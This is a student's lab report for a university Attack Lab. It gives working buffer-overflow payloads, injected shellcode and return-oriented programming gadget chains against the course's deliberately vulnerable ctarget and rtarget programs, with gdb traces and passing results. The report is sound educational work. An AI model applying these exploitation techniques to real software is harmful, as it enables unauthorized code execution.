2023 Fall CSED 211 Lab Report

Lab number: 4 (Attack Lab)

Student number: 20220302

Name: 김지현

1. Introduction

- The objective of this lab is to explore various methods of attacking the original program through code injection (ctarget) and Return-Oriented Programming (ROP) or utilizing gadgets (rtarget). By engaging in this lab, you will gain insights into the diverse approaches to compromising a program's security.

2. System Design/ Algorithm

a. Phase1

The first 3 phases are using “code injection” attacks. As the word tells, you inject certain code so that the program execute unexpected code. In phase 1, you should execute touch 1 function inside the test.

```
1 void test()
2 {
3       int val;
4       val = getbuf();
5       printf("No exploit. Getbuf returned 0x%x\n", val);
6 }
```

```
1 void touch1()
2 {
3       vlevel = 1; /* Part of validation protocol */
4       printf("Touch1!: You called touch1()\n");
5       validate(1);
6       exit(0);
7 }
```

So, I checked the assembly code by typing “objdump -d ctarget > asm.txt” and saved as asm.txt. The assembly code for getbuf() function in test() is as shown below.

```
0000000000401785 <getbuf>:
  401785:       48 83 ec 28             sub    $0x28,%rsp
  401789:       48 89 e7                mov    %rsp,%rdi
  40178c:       e8 39 02 00 00          callq  4019ca <Gets>
  401791:       b8 01 00 00 00          mov    $0x1,%eax
  401796:       48 83 c4 28             add    $0x28,%rsp
  40179a:       c3                      retq

000000000040179b <touch1>:
  40179b:       48 83 ec 08             sub    $0x8,%rsp
  40179f:       c7 05 53 2d 20 00 01    movl   $0x1,0x202d53(%rip)        # 6044fc <vlevel>
  4017a6:       00 00 00
  4017a9:       bf 07 2f 40 00          mov    $0x402f07,%edi
  4017ae:       e8 9d f4 ff ff          callq  400c50 <puts@plt>
  4017b3:       bf 01 00 00 00          mov    $0x1,%edi
  4017b8:       e8 fc 03 00 00          callq  401bb9 <validate>
  4017bd:       bf 00 00 00 00          mov    $0x0,%edi
  4017c2:       e8 29 f6 ff ff          callq  400df0 <exit@plt>
```

By line (address) 401785, we can determine that 0x28 padding is needed. When converting the hexadecimal number into a decimal number, 0x28 equals 40. Therefore, in the input for the getbuf function is greater than 0x28, the stack for return address is “attacked”. We want touch 1 function to execute. So, add 40 bytes of random numbers to fill the buffer and add the start address of touch 1 function in little endian mode. The final testing text will looks like this:

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
9b 17 40 00 00 00 00 00
```

```
[jihyunk@programming2 target61]$ ./hex2raw <phase_1.txt> phase_1-raw.txt
[jihyunk@programming2 target61]$ ./ctarget -i phase_1-raw.txt
Cookie: 0x598adfc2
Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
[jihyunk@programming2 target61]$
```

b. Phase2

```
1 void touch2(unsigned val)
2 {
3       vlevel = 2; /* Part of validation protocol */
4       if (val == cookie) {
5               printf("Touch2!: You called touch2(0x%.8x)\n", val);
6               validate(2);
7       } else {
8               printf("Misfire: You called touch2(0x%.8x)\n", val);
9               fail(2);
10      }
11      exit(0);
12 }
```

Phase 2 is similar to phase 1 in that it has to execute certain function (in this case, touch 2 function). Additionally, it needs to change the argument for certain function. When you check the assembly code for touch 2 function, %rsi register is passed on to the touch 2 function as an argument. Therefore, we need to insert the value stored in cookie.txt into %rdi register.

```
00000000004017c7 <touch2>:
  4017c7:       48 83 ec 08             sub    $0x8,%rsp
  4017cb:       89 fe                   mov    %edi,%esi
  4017cd:       c7 05 25 2d 20 00 02    movl   $0x2,0x202d25(%rip)        # 6044fc
<vlevel>
  4017d4:       00 00 00
  4017d7:       3b 3d 27 2d 20 00       cmp    0x202d27(%rip),%edi        # 604504
<cookie>
  4017dd:       75 1b                   jne    4017fa <touch2+0x33>
  4017df:       bf 30 2f 40 00          mov    $0x402f30,%edi
  4017e4:       b8 00 00 00 00          mov    $0x0,%eax
  4017e9:       e8 92 f4 ff ff          callq  400c80 <printf@plt>
  4017ee:       bf 02 00 00 00          mov    $0x2,%edi
  4017f3:       e8 c1 03 00 00          callq  401bb9 <validate>
  4017f8:       eb 19                   jmp    401813 <touch2+0x4c>
  4017fa:       bf 58 2f 40 00          mov    $0x402f58,%edi
  4017ff:       b8 00 00 00 00          mov    $0x0,%eax
  401804:       e8 77 f4 ff ff          callq  400c80 <printf@plt>
  401809:       bf 02 00 00 00          mov    $0x2,%edi
  40180e:       e8 58 04 00 00          callq  401c6b <fail>
  401813:       bf 00 00 00 00          mov    $0x0,%edi
  401818:       e8 d3 f5 ff ff          callq  400df0 <exit@plt>
```

First, push the start address of touch 2 (where the program will jump to when returned) and move the cookie value to %rdi register. Cookie.txt stored 0x598adfc2. Therefore, add a source code and object code as below.

```
pushq $0x4017c7
movl $0x598adfc2, %edi
retq
```

```
test2.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:   68 c7 17 40 00          pushq  $0x4017c7
   5:   bf c2 df 8a 59          mov    $0x598adfc2,%edi
   a:   c3                      retq
~
```

Now, we need to find the address for this code above. The %rdi address before the gets function is the address of buffer. Therefore, I tried (gdb) and run the each line to check rdi value.

```
(gdb) ni
0x000000000040178c      14      in buf.c
(gdb) i r
rax            0x0      0
rbx            0x55586000       1431855104
rcx            0x3a676e6972747320       4208453775971873568
rdx            0x7ffff7dd6a00   140737351870976
rsi            0x403108 4206856
rdi            0x55681758       1432885080
rbp            0x55685fe8       0x55685fe8
rsp            0x55681758       0x55681758
r8             0x0      0
r9             0x0      0
r10            0x55681350       1432884048
r11            0x7ffff7a9ca00   140737348487680
r12            0x1      1
r13            0x0      0
r14            0x0      0
r15            0x0      0
rip            0x40178c 0x40178c <getbuf+7>
eflags         0x212    [ AF IF ]
cs             0x33     51
ss             0x2b     43
ds             0x0      0
es             0x0      0
fs             0x0      0
gs             0x0      0
(gdb) q
A debugging session is active.
```

As shown above, %rdi address is 0x55681758 and it will be the start address of the buffer. The input is as following picture, and when the function returns from the getbuf, the program moves to the start of the buffer which is the object code of pushing the start address of touch2 function and add cookie value to %rdi.

```
68 c7 17 40 00 bf c2 df
8a 59 c3 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
58 17 68 55 00 00 00 00
```

```
[jihyunk@programming2 target61]$ ./hex2raw <p2.txt> p2-raw.txt
[jihyunk@programming2 target61]$ ./ctarget -i p2-raw.txt
Cookie: 0x598adfc2
Touch2!: You called touch2(0x598adfc2)
Valid solution for level 2 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```

c. Phase3

Phase 3 is similar to phase 2 but the string has to be passed as an argument. Then, first, we need to convert the cookie value to a string. From the ASCII Code table, the cookie value “0x598adfc2” is converted to “35 39 38 61 64 66 63 32.”

✚	48	060	30	00110000	0
✚	49	061	31	00110001	1
✚	50	062	32	00110010	2
✚	51	063	33	00110011	3
✚	52	064	34	00110100	4
✚	53	065	35	00110101	5
✚	54	066	36	00110110	6
✚	55	067	37	00110111	7
✚	56	070	38	00111000	8
✚	57	071	39	00111001	9

✚	97	141	61	01100001	a
✚	98	142	62	01100010	b
✚	99	143	63	01100011	c
✚	100	144	64	01100100	d
✚	101	145	65	01100101	e
✚	102	146	66	01100110	f
✚	103	147	67	01100111	g

Then make a source code to move the address of the cookie, which we figured out in the above process, into %rdi. Since the address of the start of the buffer stack is

0x55681758 from phase 2, we add 0x28 for the buffer size and an additional 0x8 so that the address directs the address where we will put the cookie value.

```
mov $0x55681788, %rdi
pushq $0x40189b
retq
```

When you convert the above source code into an object code, the assembly code looks like the following:

```
test3.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 c7 c7 88 17 68 55    mov    $0x55681788,%rdi
   7:   68 9b 18 40 00          pushq  $0x40189b
   c:   c3                      retq
```

Finally, I added the above object code first, then filled the rest of the buffer stack with 0s. Then, the address of the start of the buffer stack and the cookie string.

```
48 c7 c7 88 17 68 55 68
9b 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
58 17 68 55 00 00 00 00
35 39 38 61 64 66 63 32
```

d. Phase4

The next two phases are “rtarget” so you make a gadget to execute touch 2. We need two instructions: move %rax, %rdi and pop %rax. From the assembly code of rtarget, find 48 89 c7 c3 for the move instruction and 58 c3 for the pop instruction.

```
mov %rax, %rdi -> 48 89 c7
retq -> c3

pop %rax -> 58
retq -> c3


0000000000401930 <addval_366>:
 401930:  8d 87 48 89 c7 c3      lea    -0x3c3876b8(%rdi),%eax
 401936:  c3                     retq
-> 401932 (address)

0000000000401952 <setval_289>:
 401952:  c7 07 78 9b 58 90      movl   $0x90589b78,(%rdi)
 401958:  c3                     retq
-> 401956 (address)
```

The above codes are snippets from the rtaget assembly code. First, we can detect the 48 89 c7 c3 at the address 0x401932, and 58 c3 at the address 0x401936. 0x90 is nop (no operation) so we can ignore it.

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
56 19 40 00 00 00 00 00
c2 df 8a 59 00 00 00 00
32 19 40 00 00 00 00 00
c7 17 40 00 00 00 00 00
```

Then, the code will resemble as above. First, fill the buffer stack with 0s, and pop %rax. Next, add cookie value in hex, and move %rax, %rdi. Finally, add the address of touch2.

e. Phase5

To solve phase 5, we need to store the string in the stack and put the address of the string in the %rdi register. You can get a stack address at a certain point in time with %rsp register. Additionally, we can determine the difference, or the offset, between the address and the string address.

Therefore, if the sum of the %rsp register address and offset can be obtained, the address of the cookie string can be obtained, and we can do this using the add_xy function where the two arguments are rsi and rdi and store the sum in rax.

```
#1 rsp to rdi
movq %rsp, %rax
movq %rax, %rdi
pop %rax

#2 offset to rsi
offset
movl %eax, %ecx
movl %ecx, %edx
movl %edx, %esi

#3 add rdi and rsi
add_xy (%rdi + %rsi = %rax)

#4 save the sum to rdi
movq %rax, %rdi

#5 touch 3 address and cookie value
```

Based on the above assembly code, I found each instruction from the rtarget assembly code.

```
pop %rax -> 401956
401952:  c7 07 78 9b 58 90      movl   $0x90589b78,(%rdi)
 401958:  c3                    retq


movl %eax, %ecx -> 401988 -> 401986:  c7 07 89 c1 20 db      movl
$0xdb20c189,(%rdi)
movl %ecx, %edx -> 401a26 -> 401a24:  c7 07 89 ca 20 d2      movl
$0xd220ca89,(%rdi)
movl %edx, %esi -> 4019ca -> 4019c8:  b8 ac 89 d6 c3         mov
$0xc3d689ac,%eax

movq %rsp, %rax -> 4019d6 -> 4019d5:  b8 48 89 e0 c3         mov
$0xc3e08948,%eax
movq %rax, %rdi -> 401932  -> 401930:  8d 87 48 89 c7 c3      lea
-0x3c3876b8(%            rdi),%eax

add_xy (%rdi + %rsi = %rax) -> 0000000000401965

movq %rax, %rdi -> 401932  -> 401930:  8d 87 48 89 c7 c3      lea
-0x3c3876b8(%            rdi),%eax

touch 3 -> 0000000000 40 18 9b
ASCII cookie -> 35 39 38 61 64 66 63 32
```

Then, we fill the 0x28 buffer stack with 0s. Then, add each instruction in order as mentioned above. The offset will be 0x48 because the offset is the distance between %rsp where mov %rsp, %rax instruction occur and the cookie string value.

```
00 00 00 00 00 00 00 00 //buffer stack
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00

d6 19 40 00 00 00 00 00 //movq %rsp, %rax
32 19 40 00 00 00 00 00 //movq %rax, %rdi
56 19 40 00 00 00 00 00 //pop %rax

48 00 00 00 00 00 00 00 //offset

88 19 40 00 00 00 00 00 //movl %eax, %ecx
26 1a 40 00 00 00 00 00 //movl %ecx, %edx
ca 19 40 00 00 00 00 00 //movl %edx, %esi
65 19 40 00 00 00 00 00 //add_xy (%rdi + %rsi = %rax)
32 19 40 00 00 00 00 00 //movq %rax, %rdi

9b 18 40 00 00 00 00 00 //touch 3 address
35 39 38 61 64 66 63 32 //cookie
```

Final Score:

6	61	Sun Oct 29 16:26:24 2023	100	10	25	25	35	5